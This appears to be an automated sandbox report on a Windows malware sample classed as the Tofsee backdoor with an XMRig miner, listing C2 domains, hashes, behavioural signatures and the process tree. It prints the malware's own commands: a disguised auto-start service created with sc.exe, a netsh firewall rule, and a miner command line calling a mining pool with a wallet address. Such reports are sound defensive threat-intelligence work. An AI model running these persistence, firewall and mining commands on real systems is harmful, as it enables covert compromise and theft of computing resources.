Analysis

  • max time kernel
    144s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28/10/2022, 13:10

General

  • Target
    file.exe
  • Size 259KB
  • Sample221028-qectzafeh7
  • SHA256 eaa3f3b508d7d067cebd6fe0cfd8f429c691535f2863343917d8d292e880505f
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4980
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\uhdibzhk\
      2⤵
        PID:3516
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\cwygcwcv.exe" C:\Windows\SysWOW64\uhdibzhk\
        2⤵
          PID:224
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create uhdibzhk binPath= "C:\Windows\SysWOW64\uhdibzhk\cwygcwcv.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:5080
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description uhdibzhk "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3048
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start uhdibzhk
          2⤵
          • Launches sc.exe
          PID:4488
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:884
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4980 -s 1152
          2⤵
          • Program crash
          PID:3936
      • C:\Windows\SysWOW64\uhdibzhk\cwygcwcv.exe
        C:\Windows\SysWOW64\uhdibzhk\cwygcwcv.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3124
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3480
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4360
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3124 -s 520
          2⤵
          • Program crash
          PID:724
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4980 -ip 4980
        1⤵
          PID:2188
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3124 -ip 3124
          1⤵
            PID:4004

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                cwygcwcv.exe

                • Path C:\Users\Admin\AppData\Local\Temp\cwygcwcv.exe
                • Size 13.3MB
                • SHA256 609b83a3fbc0a12d1b5dc533fc43e55940f277f541871e40d8fa074b175d6ce5
                • MD5 SHA1 SHA512 SSDEEP

                cwygcwcv.exe

                • Path C:\Windows\SysWOW64\uhdibzhk\cwygcwcv.exe
                • Size 13.3MB
                • SHA256 609b83a3fbc0a12d1b5dc533fc43e55940f277f541871e40d8fa074b175d6ce5
                • MD5 SHA1 SHA512 SSDEEP

                memory/3124-153-0x0000000000400000-0x0000000002C2E000-memory.dmp

                memory/3124-151-0x0000000000400000-0x0000000002C2E000-memory.dmp

                memory/3124-150-0x0000000002F42000-0x0000000002F57000-memory.dmp

                memory/3480-152-0x0000000000470000-0x0000000000485000-memory.dmp

                memory/3480-158-0x00000000019F0000-0x00000000019F6000-memory.dmp

                memory/3480-155-0x0000000002200000-0x000000000240F000-memory.dmp

                memory/3480-154-0x0000000000470000-0x0000000000485000-memory.dmp

                memory/3480-170-0x00000000068D0000-0x00000000068D7000-memory.dmp

                memory/3480-164-0x00000000068C0000-0x00000000068C5000-memory.dmp

                memory/3480-147-0x0000000000470000-0x0000000000485000-memory.dmp

                memory/3480-161-0x0000000002510000-0x0000000002520000-memory.dmp

                memory/3480-167-0x0000000007240000-0x000000000764B000-memory.dmp

                memory/4360-174-0x0000000000CA0000-0x0000000000D91000-memory.dmp

                memory/4360-179-0x0000000000CA0000-0x0000000000D91000-memory.dmp

                memory/4980-132-0x0000000002E27000-0x0000000002E3C000-memory.dmp

                memory/4980-133-0x0000000002DC0000-0x0000000002DD3000-memory.dmp

                memory/4980-134-0x0000000000400000-0x0000000002C2E000-memory.dmp

                memory/4980-145-0x0000000000400000-0x0000000002C2E000-memory.dmp

                memory/4980-143-0x0000000002E27000-0x0000000002E3C000-memory.dmp

                memory/4980-144-0x0000000002DC0000-0x0000000002DD3000-memory.dmp